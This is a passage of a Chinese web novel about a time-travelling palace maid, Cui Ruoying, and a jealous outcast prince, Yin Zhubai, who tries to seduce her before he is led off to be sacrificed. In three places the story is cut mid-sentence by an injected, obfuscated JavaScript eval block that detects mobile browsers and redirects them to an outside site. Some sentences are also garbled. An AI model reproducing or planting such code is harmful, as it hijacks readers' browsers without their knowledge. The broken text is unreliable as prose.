书是很久以前,他从李侧君的后殿里偷来带到西宫的。书页被他翻得破碎泛黄,像是破损的蝴蝶,上面的字迹都模糊不清了。 这本书上讲述的,多是书生狐妖之类的艳俗故事。 和知书达理的女皇正夫不同,李侧君就爱看这种俗气的书。女皇讨厌他的艳俗,却也爱着他的轻浮。 殷逐白的指尖划过书上行行文字,侧头看着崔若盈。 崔若盈就坐在不远处,仰头望着天空,一看就是一个时辰,也不知道在想些什么。 她是不是在想谢流玉,或者那位死去的、和他很像的故人呢? 又或者,她只是想逃离这囚笼一样的西宫。 殷逐白拿着书,好久好久,却一个字也看不下去。可是他不敢问。他怕自己的问题,反倒坚定了崔若盈离开的决心。 他只能忐忑地享用着这份痛苦。 到了晚上,夜深人静之时,他就会偷偷来到她的屋檐下,听着里面浅淡的呼吸声。 他被崔若盈的呼吸声包裹着,纵然夜凉如水,也能感受到前所未有的安心。 夜晚,他守在她的窗下。直到第一缕曙光照在他的脸上,估摸着崔若盈要醒了,他才匆匆忙忙,仿若做了坏事一般,回到自己的房间。 殷逐白从这样不安的日子里感受到了幸福。他带着这丝幸福,走过了秋天。 寒冬将至。 距离殷逐白死亡,还剩20天。 过了立冬,温度骤降,半空中隐隐飘起了雪。今天的寒冬,来得格外早,早得让人毫无防备。 听说,雍国南部还闹了雪灾。 尚衣局派人送来了厚衣服。没过几天,又有一个好消息传到西宫——两人的禁足令被解除了。 “怎么,你不开心?” 崔若盈看着换上冬装的殷逐白。许是谢流玉特意关照过,尚衣局送来的衣服合身了许多。 殷逐白披着月白色的外套,将手揣进宽大的袖子里。听到崔若盈的话,他微微笑了笑——那次争吵后,他脸上温柔的笑容变多了,总算有了几分未来的模样。 “姑姑开心,我就开心。” 崔若盈忍不住道:“油嘴滑舌,你最好真这么想。” 两人是出去取炭火的。来到西宫门口和崔若盈熟悉的张侍卫见了她,脸上立马带了笑容:“崔姑娘。” 崔若盈给他看了腰牌:“张大哥,陛下已经同意我们出去啦。” 张侍卫祝贺道:“恭喜恭喜。”与他一起值守的侍卫见状,对张侍卫挤了挤眼睛。 西宫人迹罕至,在这里值守十分无聊。崔若盈长得漂亮,又喜欢与侍卫聊天套话,时间长了,张侍卫对她有了一些意思。 崔若盈装作不知道,对张侍卫笑了笑。张侍卫有些羞涩地垂下头,目光不经意间向下一看,却见殷逐白眼色如刀,如淬了毒一般看着他,恨不得将他咬死在原地。 张侍卫一怔。就这么几秒工夫,崔若盈已经带着殷逐白走远,只留两道背影。 那包含杀意的阴冷眼神,也融化在了漫天飞雪中。 “姑姑。” 殷逐白不动声色地凑近她。两人的袖子随风轻碰在一起,转瞬就分开。 “还是姑姑对我最好。” 崔若盈道:“哈哈,我当然对你好了!你怎么突然说这个?” 宫道上的雪还没来得及清扫,两人才在雪地上,发出吱呀吱呀的足音。殷逐白放轻动作,声音缭绕在踏雪声中。 “西宫的那些侍卫,在姑姑来之前,都欺负我。自从你来了,他们看在你的面子上,再也没干过什么过分的事了。” 崔若盈:“啊?他们怎么欺负你了。” 殷逐白垂下头。黑发散落,雪花落在发间,犹如一簇簇柔弱的小花。 “他们说我是……没人要的灾星。尤其是那个姓张的,总是带头嘲讽我。” 崔若盈拧起眉:“这也太过分了吧?我带你去找他们算账!” “别!” 殷逐白按住她的手。指尖相碰,他感受到了她能将一切冰雪融化的体温。 “姑姑,不要为我得罪他们。” 不规则的雪花落在他低垂的眼睫上,转瞬笑容。在崔若盈看不见的位置,他的嘴角轻轻勾起,带着狠毒的甜蜜。 “只要你能在我身边,其他的什么都不重要了。” 崔若盈想了想,眉头舒展开:“好吧,没想到那个姓张的这么讨厌。下次他要是欺负你,你一定要和我说哦。” “嗯。”殷逐白低低应了一声,指尖得意地动了动,“姑姑,你能牵着我吗?” 崔若盈:“我是宫女你是皇子,这不好吧?” “这附近很偏僻,没人来的。就一小段路,好不好?” 见崔若盈还是有些犹豫,他咬了咬嘴唇:“对不起,我让你为难了。只是从来没人牵过我,我想知道是什么感觉……” 崔若盈大为头疼:“行行行,就一小段路。” 仿佛有天光穿破郁卒的云,殷逐白露出一个纯良的微笑。 “嗯。”他把手交给她,“就一小段路。” 对。就是这样。 当年他的父亲,就是这样迷惑了尊贵的女皇。 宫人提到善于谄媚的李侧君,都说他背主求荣。殷逐白听惯了这些风言风语。 可那又怎么样呢?温文尔雅的正夫早已成了一具腐朽的尸骨,现在被女皇宠爱的是他的父亲—— 一如被崔若盈牵着的,是他。 殷逐白走在纷飞的雪中,嘴角微微勾起。他与崔若盈并排走着,在雪地上留下两排整齐的脚印。 突然,殷逐白的笑容僵住了。 在飞扬的雪雾中出现了一道他最不想见到的身影。在见到那人的刹那,崔若盈就顿住脚步,以迅雷不及掩耳之势放开了他的手。 手上还残存着她的温度,一阵风吹来,那温暖飘忽地离逝。殷逐白像是被抛在原地的雪人,直到那个人走近,他才恢复了些许理智。 “大殿下!”崔若盈看着来人,“你怎么来了?” 谢流玉走过来。第三者的脚印出现在雪地上——这片荒僻的雪地,不再只属于他和崔若盈了。 “听说母皇解除了禁足令,我来看看你们。” 崔若盈眨眨眼:“多亏大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819244|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下帮忙,不然还不知道什么时候能出来呢。” 谢流玉温和道:“崔姑娘不必客气,只是举手之劳罢了。你们要去哪里?我带你们去吧,免得有人为难你们。” 碍事。 碍事。 碍——事—— 但不管殷逐白心里如何咒骂,他都无法出言反对,只能看着谢流玉走在崔若盈身旁。 “我看大殿下心情好像不太好?” 谢流玉笑笑:“崔姑娘真是聪明,这都被你看出来了。最近国家天灾不断,邪祟频出,我有些担忧。” 崔若盈道:“殿下大义。但这些事不是能预测的,只能尽力救助灾民了。” “话虽是这么说……”谢流玉迟疑了一瞬,“崔姑娘听说过沧浪之水吗?” 沧浪之水? 崔若盈心头一跳。 那不是《除灵伏妖录》里的终极boss吗? 沧浪之水是世间所有污浊负面情绪凝结成的恶水,被封印在地底数千年。 殷逐白挑拨人妖两族关系,挑起战争,目的就是让沧浪之水吸收足够的戾气,冲破封印毁灭世界。 原著里,他得逞了。男女主虽然杀了殷逐白,但沧浪之水封印还是被解除。 最后,两人以身作为封印。寇言湘镇压在南方,祝星游镇压在北方,这才重新封印了沧浪之水。 男女主一南一北遥遥相望,生生世世无法相见,直接be了。 最惨的是,结尾还有线索显示,殷逐白根本没有彻底死亡,而是继续在世间转生。人与妖的纷争还在继续,男女主的牺牲,也只能拖延一下末日到来的时间。 不过……谢流玉怎么知道沧浪之水? 崔若盈回过神:“沧浪之水?那是什么?” 谢流玉有些迟疑,似乎不知道该不该告诉她。 顿了顿,他才靠近了些,轻声道:“其实也不算什么大秘密。沧浪之水是由怨气、污气、血气凝聚而成,就被封印在雍国地底。它每次泛滥,都会引起天灾。我们雍国皇室就负责镇压沧浪之水。” “……也就是说,最近的天灾是由沧浪之水引起的?”崔若盈想了想,“雍国皇室应该有镇压的办法吧?” “有。”谢流玉叹了口气,没有继续说下去。 崔若盈也不怎么担心。 她从千年后的时间线来,那时候世界还没毁灭,足以证明这次沧浪之水泛滥没引起什么严重后果。 想着谢流玉疑似殷逐白,好感度不能浪费,崔若盈就贴心地安慰了他几句。 谢流玉也转移了话题,与她聊起来。都是些寻常的话题,但两人分外投缘。 碍事。 碍事! 殷逐白攥着掌心,走在崔若盈右边,低头看着地上的雪。 两个人的脚印,变成了三个人的。他们两个笑得那么开心,他反而变成了多余的那个。 为什么又是谢流玉呢? 那个张侍卫,还有谢流玉,还有那个和他像的男人——他们凭什么和他抢崔若盈? 崔若盈答应过他……答应过他……不行。 不行。 他不能失去崔若盈。 他不能让崔若盈被他们抢走!! 35. 崔若盈。你喜欢他? 一切嫉妒、厌恨都聚拢成温和如春的微笑。殷逐白竭力控制着脸上的表情,不想让崔若盈注意到他的怨恨和不甘。 ——事实上,崔若盈也确实没注意到。 她平时很难接触到谢流玉,好不容易见到他,当然要尽可能和他多说几句话了。 谢流玉带着她和殷逐白领了份例。有他在,两人完全没被刁难。领完东西后,他又十分贴心地将崔若盈和殷逐白送回了西宫。 “谢谢你,大殿下。” 崔若盈笑着,眼睛像狐狸一样眯起来。她的笑容映在皑皑白雪上,化作在雪间缭绕的冬日阳光,分外刺眼。 殷逐白只看了她一眼,就倏地收回了目光。 他感觉自己的眼睛被崔若盈的笑容刺痛了。 “不要客气,崔姑娘。”谢流玉看着崔若盈,语气和缓极了,“如果有什么需要,尽管来找我。我也会常来看你们的。” 他喜欢崔若盈。 殷逐白想着。 这一点儿也不让人感觉奇怪。 崔若盈本就是个极其讨人喜欢的人。她漂亮、聪明、生机勃勃,只要是和她相处过的人,都很难不喜欢她。 谢流玉也喜欢她! 不。也许称不上喜欢。但毫无疑问的是,青年对她产生了朦朦胧胧烟雾似的好感。 目前来看,这丝好感尚不分明。但若是放任它发展下去,一天、两天,一年、两年……早晚有一天,谢流玉会意识到自己的感情。 殷逐白不知道崔若盈没有那么多时间。他只知道,谢流玉要将他唯一的同伴夺走了! “那下次再见吧,大殿下。” 崔若盈笑着目送谢流玉离开,然后带着殷逐白,回到了西宫。 宫门打开。宫门关上。朱红色的漆剥落,宫墙内的那棵柿子树傲然挺立着,伸展的枝桠上挂满了雪白的雾凇。 西宫冷冷清清,没有旁人——只有他与她。 他从前挣扎着,想要离开西宫。 可事到如今,殷逐白反而希望红色的宫门永永远远地关闭,任何人都不要进来,任何人都不要出去。 崔若盈只属于他。而他,也只属于崔若盈。 一个念头爬山虎似地萦绕在心头。殷逐白攥紧掌心,思绪纷乱。 风更冷了。 霜白的树枝摇摆起来,外面下起了雪,天空是琉璃般鲜艳的黑蓝色。明明还早,天却黑了。 崔若盈坐在主殿,正在整理领到的份例。两人的份例加起来也不多,但她还是一笔一笔、将所有东西都十分认真地记在账上。 青红色的烛火照在她的侧脸上,那样生动,那样美丽。殷逐白望着她,忽然从桌子对面站起身。 崔若盈抬起头:“怎么了?” “……我想回去休息了。” 崔若盈抬抬手:“你先回去睡觉吧,我把东西整理完。” 没有怀疑。 殷逐白微微松了一口气,带着忐忑的心情朝外走去。 他推开主殿的殿门,凛冽的飞雪灌入殿中,却无法浇灭他心中的火焰。殷逐白关好门,走进漫天的风雪之中。 殷逐白骗了崔若盈。 他不想休息。 他想做一件大事。 若是成功了,崔若盈一定会爱他——就像他的母皇,爱他的父亲一样。 殷逐白脱下衣服,用冷水洗了个澡。冰冷的水珠从突出的脊骨上划下,苍白的肌肤、纤细的身体,带着年轻人特有的美丽。 冷气吹过来,皮肤难以适应地收缩了一下。殷逐白擦干身体,将自己藏在被子里,而被子被包裹在一片黑暗中。 房间里静悄悄的,只能听到他自己的呼吸与心跳。 呼吸声太重,太粗俗,他放轻了呼吸,将自己放置在暗夜之中,静悄悄地等待着。 雪下得更大了。 崔若盈转了转因长时间持笔而酸痛的手腕,从桌案前站起身来。账本写完,她吹干上面的墨迹,而后把东西收好,拿着灯笼朝着自己的房间走去。 殿外下起了鹅毛大雪。点点雪花被她走路带起的风拨动,轻盈地在灯笼周围盘旋,像是冷风中飞舞的精灵。 崔若盈把灯笼塞进系统空间,随后推开自己房间的门,迫不及待地钻进去。关门的声音将所有风雪都隔绝在外,黑暗中只剩一片温暖。 房中一片昏暗,没有蜡烛。不过崔若盈也不在意,反正她住了两个多月,对自己的房间已经很熟了。 脱掉外袍,摸黑走到床铺前。崔若盈伸手掀开被子,指尖却不期然地抚上一片冰凉。 崔若盈一愣。下一秒,有什么东西拉住了她的手腕,凉如美玉的皮肤轻轻地贴在她的手背上。 温热的呼吸接触到她的皮肤,给她带来一阵战栗。 崔若盈吓了一跳,反应过来之后立刻后退两步,甩开贴在她脸上的东西。她也顾不上暴不暴露,马上从系统空间拿出提灯。 昏黄的光亮起,照亮了小半个房间,也让床上的人无处躲藏。一张苍白的面孔出现在黑暗中,用藏了星河的眼睛亮晶晶地看着她。 是殷逐白。 他的身体藏在被子里,在灯光中勾勒出黑色的轮廓。过于白皙纤细的肩头裸露在冷空气中,湿漉漉的黑发勾在肩头,将落未落,像是柔软的蜘蛛之丝。 崔若盈皱起眉:“你在我房间干什么?” 她和殷逐白的房间不在一个方向,布局也完全不同,根本不可能走错。 听到她语气不善,殷逐白也愣了几秒。 幼年时,他被养在李侧君的后殿。负责看管的宫女偶尔偷懒,他就趁机钻过长长的走廊,走到主殿附近,好奇地打量着近在咫尺的另一个世界。 有时候,天色很暗。前殿一片寂静,只能听到絮絮人语声。 他走到李侧君的寝殿前,偷偷看过去,只见他半解衣袍,像是温顺的小动物一般,将漂亮精致的脸送到女皇帝的掌中,以此换得她的爱抚。 原来是这样的吗? 这就是李侧君这个庸俗的男人,在女皇的后宫立于不败之地的原因? 接下来的事,殷逐白没有看到。 当时他年纪虽小,却也拥有了感到羞耻的本能。 但他永远记得—— 殷逐白仰头望着她。崔若盈的脸色被隐藏在忽闪的灯火之中,唯有语气冷冷,被灯光染上了几分薄怒。 比起惊喜,更像是生气。 殷逐白没想到崔若盈会是这个反应,面色惨白了几分。 但事情闹到这样,他已经没有退路。 心中忐忑几秒,他伸出一只雪白的手,轻轻握住崔若盈提着灯的手腕。提灯摇晃了一下,崔若盈玲珑剔透的手腕被他攥在掌心。 “姑姑……” 殷逐白轻唤着她。他支起上半身,将脸贴在她的掌心,像是乞求她抚摸的柔软小猫。 崔若盈注意到,他上半身完全是赤/裸的。没穿衣服。 她深吸一口气,想要甩开殷逐白。但殷逐白早有准备,用骨节分明的手指紧紧拉着她,想要抱住她的手臂。 崔若盈忍无可忍。 “殷逐白,你脑子有病吧!” 和怒斥声同时响起的,是一记十分响亮的耳光。 殷逐白僵在原地。 左边的脸颊传来点点痛感。不算特别疼,却让他的脸色倏然灰败下来,像是在秋风中枯萎的那枝月季花。 他的手无意识地松开了。崔若盈扯回自己的手腕,沉沉地盯着他。 在她的注视下,迟来的羞愧、难过、不堪同时从眼中涌出,亮晶晶、冰凉凉地在他美丽的脸上涌流。 不。涌流的也许不是虚幻的情绪,而是他剔透的泪水。 “姑姑。”他哀哀地问道,“殷逐白是谁?” 崔若盈这才意识到,自己情急之下说漏嘴了。 殷逐白是谁? 这个问题可不好回答。 而大人总是聪明的。当回答不出某个问题时,他们就会装作没听见。崔若盈也这么做了。 她拿起挂在一边的外袍,扔到殷逐白身上:“把衣服穿起来。” 说着,转身就要离开。然而刚走出去一步,殷逐白幽幽的声音就像鬼魅一般在房间中回荡。 “殷逐白是那个和我很像的人?” 崔若盈继续走。声音也继续传来。 “你愿意在西宫陪我,是因为他和我很像?” “你给我取名‘小白’,就是因为他?” “你把我当成他的替代品?” 崔若盈心烦意乱,根本不想理他。她推开门,全世界的风雪好像都化作柳絮,纷飞着朝屋子里涌过来。 “崔若盈。你喜欢他?” 他声音嘶哑。 “姑姑,你怎么不回答我?” 崔若盈顿住脚步。 她没有回头,只是低声道:“是。” 殷逐白道:“哪个问题的答案是‘是’?” 崔若盈道:“全部都是。” 只不过,就像雪花与雪花各有不同,“是”与“是”之间,也有着千丝万缕的差别。 门关上,挡住了殷逐白沙哑的呼唤。崔若盈坐在廊下,注视着衰败枯萎的草木,轻轻叹了一口气。 好像做过头了。 她以为殷逐白只是依赖她。可是,这份感情在不知不觉中变化、扭曲,早已成了她猜不透的样子。 高兴吗?从任务的角度来说,应该高兴。 但崔若盈心里沉甸甸的,怎么也高兴不起来。 过了一会儿,殷逐白穿好衣服,从房间里走了出来。他沉默地坐在她身边,看着远处飘落的雪。 良久,他才问道:“姑姑,你喜欢我,好不好?” “不好。” “为什么不好?” 崔若盈道:“你年纪太小了。” ——这是实话。 虽然在古代,他这个年纪已经能谈婚论嫁了,但在崔若盈眼里,他只是个小屁孩,她对他生不出任何想法。 殷逐白咬着嘴唇:“那等我长大……” 崔若盈道:“等你长大,你就忘了我了。” 其实崔若盈一直有个疑问:有她参与的这段过去,究竟会以一种什么方式,出现在反派的记忆中? 至少,肯定不是直接插进殷逐白记忆里的。 智能小助手告诉她,大部分世界的时间都是一个循环,这是世界法则注定的。也就是说,如果她真的参与了殷逐白的过去,那早在水洞初见时,他就应该认出她才对。 作为打工仔,崔若盈很少深究小世界运行的逻辑。可是这次的事,又让她不得不疑惑起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825732|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷逐白道:“我不会忘了你的。” 崔若盈不想和他说这些。 算一算时间,没几天时空回溯券就到期了。她不想惹麻烦。 崔若盈拍掉身上的雪,站起身来。她随意笑了笑:“是,是。小白不会忘记我的。” 殷逐白道:“你不相信我。” 他刚流过泪,眼角带着夕阳般的浅红,看上去颇带几分脆弱。 见崔若盈要走,殷逐白连忙跟着站起来:“如果我以后还记得你,你就多喜欢我一点,像喜欢那个殷逐白一样,好不好?” 他无法祈求更多。 他只希望,崔若盈能多喜欢他一点。 哪怕只是微不足道的一点。 崔若盈笑笑:“好啊。” 看见崔若盈的笑容,殷逐白也忍不住笑了。 他怎么会忘记崔若盈呢? 殷逐白知道,自己不会输,永远不会。他从未有一次像现在这样,期盼未来的到来。 一直到他死亡当天,他都抱着这种甜蜜的期盼。 新年到了。被人遗忘的西宫没有沾到什么喜气,不过崔若盈有自己的小妙招。 她找了红纸,用剪刀剪出了几个简陋的窗花,贴在窗上。于是,这荒废冷清的地方,也多了几分饱含血色的喜气。 “姑姑。”殷逐白凑在她身边,“这红纸掉色,你的手都被染红了。” 崔若盈翻转手掌。红色染在雪白的肌肤上,分外刺眼,仿佛在昭示着某种不祥。 “洗一洗就好了。” 她将手浸到水中,冰凉的水没过指尖、没过心头。崔若盈一边漫不经心地清洗着手上的红色,一边用意识打开系统面板。 【时空回溯券有效期剩余:1天】 崔若盈擦干手。门响了。 是谢流玉吗? 解除禁足后,连送饭的宫女都不来了。除了谢流玉,崔若盈想不到还有谁会光顾。 但敲门声带着几分急促和粗暴,和谢流玉有很大区别。崔若盈转过身,殷逐白道:“我去开门。” 他这样迫切,无非是想减少崔若盈和谢流玉的见面机会。 敲门声愈发急切,又突然停歇。崔若盈支楞起耳朵,仔细听着。门被打开了,门口传来杂乱的呼吸声,里面还夹杂着一个熟悉的声音。 是看守西宫的张侍卫。 “对不住了。” 随后响起的,是挣扎的声音。最后,是一声闷响。 崔若盈扔下擦手的毛巾,朝着外面跑去。宫门大敞着,她追到西宫外,就看到几名侍卫打扮的人正架着殷逐白,朝着某处走去。 这几个人中就有张侍卫。 殷逐白这时还不是那个翻手为云覆手为雨的大反派,面对几个壮年男人,他毫无反抗之力地被打晕过去,正被其中一个侍卫扛在肩膀上。 崔若盈快走几步,追上那几人,挡住他们的去路。 “你们带他去哪里?” 几人对视。张侍卫道:“崔姑娘,是陛下下旨让我们拿人的。” “……陛下?” “是。陛下命令,我们不敢不从。”张侍卫看着她,有些不忍心,“崔姑娘,你还是回去吧。” 看来,殷逐白的死期到了。崔若盈早有预料,很快就冷静下来:“那带我去,总行吧?” “这……” “我是西宫的掌宫,跟着他,就是我的职责。” 几名侍卫有些为难。但看崔若盈一脸坚决,想到要是不答应,她肯定会不依不饶,几人商量几句,最后张侍卫无奈道:“行吧,崔姑娘,你可以跟上,但不要妨碍我们的事。” 崔若盈道:“不会的。” 得到了她的承诺,众人继续向前。崔若盈本以为他们会去金銮殿,结果几名侍卫拽着殷逐白,越走越偏,最终走到了皇宫的角落。 这里有着一个小小的庙宇。 庙宇华丽,上面铺着琉璃瓦,外面有重兵把守。 崔若盈从没来过这里。 侍卫出示了手令,带着殷逐白走进去。崔若盈想要跟过去,却被拦了下来。 崔若盈皱眉:“我是西宫的掌宫宫女。” 守门侍卫一丝不苟:“没有陛下允许,闲杂人等不许进入天刻庙。” 崔若盈呼出一口气,又道:“请问他是怎么了,为什么要带他到这里?” “无可奉告。” 崔若盈看看昏迷中的殷逐白,又看看几名侍卫:“几位大哥,通融一下嘛。” “规矩就是规矩。”侍卫抽出刀,雪亮的刀锋架在她的脖子上,“快走,不然别怪我不客气。” 崔若盈眼神冷了冷。眼见张侍卫几人的身影已经消失在庙宇中,她抿了抿唇,余光忽然看到一个人的身影也出现在庙宇中。 谢流玉!! 她眼中闪过一道微光,踮起脚尖大声道:“大殿下!大殿下!” 侍卫立刻将刀逼近,怒斥道:“别惊扰了陛下!” 正说着,他就要砍向崔若盈。但刀刚落下,谢流玉的声音就轻轻响起。 “等一等。” 他转过身,眼神复杂地看向崔若盈。几天不见,他眼眶深陷、眼底青黑,整个人憔悴了十倍不止。 只有声音还是温和的。 “她是西宫的掌宫……放她进来吧。” 36. 别忘记我 守门侍卫有些犹豫:“这……” 谢流玉道:“无碍。放她进来吧。” 侍卫犹豫了一会儿,还是收起了刀。崔若盈立如灵活的游鱼一般,从几名看守侍卫间钻进大门。 “崔姑娘。” 谢流玉叫了她一声。他的双手拢在袖子里了,脸色苍白到异常,见到崔若盈,也只是勉强地扯了扯嘴角。 崔若盈道:“大殿下,这到底是怎么回事?” 谢流玉轻轻叹息了一声:“崔姑娘还记得我说的沧浪之水吗?” “当然记得。”崔若盈皱眉,“这件事和沧浪之水有关?” 谢流玉点头,忽地苦笑一声:“我们雍国皇族世代守着沧浪之水,用的不是什么秘法,而是我们的血脉。” 雍国历史悠久,数千年如一日地镇压在此处,防止沧浪之水肆虐人间。 沧浪之水并非时时泛滥,而是时而暴虐、时而平和,如世间湖海一般有着自己的汛期,上次泛滥,还是三百年前的事。 每次泛滥,都会由一名具有雍国皇室血脉之人手持金印、调动雍国龙气,投身水中作为阵眼,镇压沧浪之水。 按照惯例,被选中的人一般都是当朝太子——即使同为皇室血脉,受万民承认的皇帝继承人,和普通的皇子皇女,还是有很大区别的。 崔若盈道:“可他又不是——”话还没说完,她突然意识到了什么,止住话头看向谢流玉。 殷逐白不是太子,但谢流玉是。 “抱歉,崔姑娘。”谢流玉垂着头,很是难堪,“是我……” 崔若盈明白了。她摇摇头:“我知道你也不想。” 让真爱留下的唯一血脉去当祭品?皇帝绝对不会这么做的。可当今膝下只有两子一女,选谁都舍不得,也说不过去。 ——只有殷逐白。 即便他不被承认,但不可否认的是,他身上也拥有雍国皇室的血脉。 这丝血脉让他拥有了赴死的资格。 至于谢流玉,应该也是不想让殷逐白死的。但皇帝毕竟是皇帝,她的命令,谁也无法违抗。 原来,殷逐白是这么死的。 崔若盈攥了攥掌心,心里有些不是滋味。 她自然没有多喜欢殷逐白——无论大的还是小的,之前和小反派那么说,不过是在为以后的攻略计划铺路而已。 崔若盈谁也不喜欢。 但好歹和殷逐白生活了一段时间,成年后的殷逐白也帮过她几次,崔若盈觉得,自己对他还是有一丢丢怜爱的。 想了想,崔若盈道:“我能不能再见见他?” 谢流玉沉默地点点头:“他应该被关起来了。我带你过去。” 崔若盈笑了笑:“嗯,谢谢你。” 她本来应该充分发挥小太阳人设,趁机“温暖”一下谢流玉。但崔若盈完全没那个心思。 谢流玉带着崔若盈穿过建筑。 这座藏于深宫之中的庙宇虽然不大,里面的景观摆设却十分精巧清幽。只是草木之间,总散发着一种幽幽的凉意,在这寒冷的凛冬中,让人无法适应。 今天是新年。 崔若盈突然想到。新年是新的开始,而这琉璃瓦下的精巧建筑中,却充满了幽冷的死意。 庙宇附近有许多人守着。若没有谢流玉,崔若盈绝对进不来。两人走着走着,走到了一侧的小院子。 路上,谢流玉低声道:“钦天监说明天辰时最适合祭祀。母皇已经下了诏书,封他为太子,昭告天下。” 崔若盈道:“诏书上写了他的名字?” “没有写名字。母皇只给了他一个封号。叫……”他有些犹豫,但最后还是说了,“厄难。” 厄难太子。 别人的封号,都是金尊玉贵,怎么吉祥怎么来,只有殷逐白这倒霉蛋,居然顶着这么个封号死了。 崔若盈有些想笑,却没笑出来。 说话的时候,谢流玉停住了脚步。面前是一扇紧紧关着的房门,两个手持刀剑的侍卫在门口挡着。 谢流玉劝了几句,他们才愿意让崔若盈进去。 崔若盈对谢流玉道了谢。谢流玉苍白的脸涨红,像是极为羞愧。 从某种方面来说,殷逐白是他的替死鬼。 “崔姑娘,我……”他欲言又止,深深地望着崔若盈。 崔若盈轻声道:“我去看看他。”说着,她推开门,走进屋中。 殷逐白被锁在房间里,瘦削的手腕上捆着粗重的锁链,每动一下,锁链就会在地上拖拽,发出细碎的声响。 “姑姑!” 见有人进来,他抬起眼眸,眼中顿时迸射出闪亮的光彩。 “你来看我了?我什么时候才能出去?” 他拖着沉重的脚镣站起身,想要像一只轻盈的小鸟一样,飞到崔若盈的身边。可是锁链太重、太重,锁住了他的一切可能。 崔若盈走到他的身边,怜爱地摸了摸他的头,然后用像是开玩笑那样轻飘飘的语气说道:“你要死了。” 殷逐白僵在原地:“什么?” 崔若盈又温柔而残酷地重复了一遍:“你要死了。” 当然,对殷逐白来说,死亡并非是生命的结束,而是生命的开始。 殷逐白沉默地垂下眼帘。 怕死吗? 不。他从未真正活过,又怎会惧怕死亡? 可是,他还是好害怕。 死,就意味着,他永远失去崔若盈了。 殷逐白倏然抬起头:“如果我死了,我们之间的约定是不是不作数了?” “约定?” 殷逐白气得直跺脚:“你现在就不记得了!” 崔若盈赶紧道:“记得记得,记得很清楚!就算你死了,约定也作数。” 殷逐白这才露出一抹笑容。 “我不会忘记你的。”他甜蜜地说道,“陪陪我吧,姑姑。我也不想被你忘记。” 他抱住崔若盈。锁链轻轻捧着她的手臂,好冷、好冷,他抱得那么用力,让人实习期。 崔若盈听到了心跳。也不知是他的,还是自己的。 “别忘记我……”殷逐白把脸埋在她的颈窝。凉凉的泪水落在崔若盈的锁骨上,随着躯体的弧度向后涌流。 他居然哭了。 是因为害怕吗? 崔若盈试图想象殷逐白哭泣的样子。想象不到。她甚至不知道,那么讨厌可恶阴暗又厚脸皮的反派居然也会哭。 但仔细想想,这个小号的殷逐白好像在她面前不止哭过一次。 好吧。 崔若盈没有挣脱开他的拥抱。于是殷逐白抱得更紧更紧,像是妖藤束缚着不幸落入他陷阱的猎物。 “别忘记我。”他似是哀切地乞求道,“盈盈……” 崔若盈没有说话。 她会忘记殷逐白吗? 也许有一天会。 她甚至快忘记自己是谁了。 可崔若盈现在不想说这些。她坐在殷逐白身边,两人什么也没说、什么也没做,就这样沉默地度过了最后一个夜晚。 在这个夜晚,沉默也因离别而变得更加深刻。 天亮了。 夜雾散尽,朝阳升起。崔若盈打开系统面板,时空回溯券的剩余有效期已经变成了血一般的猩红。 侍卫闯进房间,将殷逐白带走。崔若盈站在房间中,看着殷逐白的白色身影被淹没在众人之中。 事关重大,没有皇帝的旨意,她不能跟过去。 静静地看着,直到众人的身影拐过一个弯,彻底消失在她的视野中,崔若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841305|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盈才打开系统背包,从中掏出一张符箓。 这张符箓也是她以前趁系统商城促销时囤下来的虚化符,具有暂时免疫法术伤害、隐藏身形、遮掩气息等功能。 她不是想救他。她只是想看着他死。 崔若盈呼出一口气,将符箓贴在身上,快步朝着侍卫离开的方向追去。 因为隐藏了身形,路上巡查的人完全没注意到她的存在,崔若盈一路畅通无阻,进到建筑中,直到挟持着殷逐白的侍卫停住脚步,她才跟着停了下来。 这是一处地宫。 地宫黑暗,有重兵把守,没有太多日光。烛光与灯光明明灭灭,照亮我房间内的摆设。 从摆设来看,这里应该是祠堂一类的建筑,房间里供奉了许多牌位。崔若盈觉得,这应该是雍国的传统。 殷逐白的母亲、统治雍国的皇帝陛下,就站在这些牌位之下。她穿着华贵,面目严肃,眼带厉色,气势凌人,让人不敢逼视。 在她面前,是一汪潭水。 烛光映在潭水中。黑色的潭水全然无光,如同一块不透明的黑色美玉,静静地镶嵌在金红色的火光之中。 侍卫将殷逐白押到潭水前。女皇用冷冷的目光扫了他一眼,沉声道:“动手吧。” 语气冷然,像是在对一块石头说话。李侧君站在她身边,眼神有些复杂,但又有些庆幸。 除了谢流玉以外,女皇剩下的一子一女都是他的孩子。 他疼爱那两个孩子,不想让他们死。 他在庆幸。庆幸是殷逐白。 殷逐白轻轻笑了一下。他从对方的眼中,察觉到了这种意味。 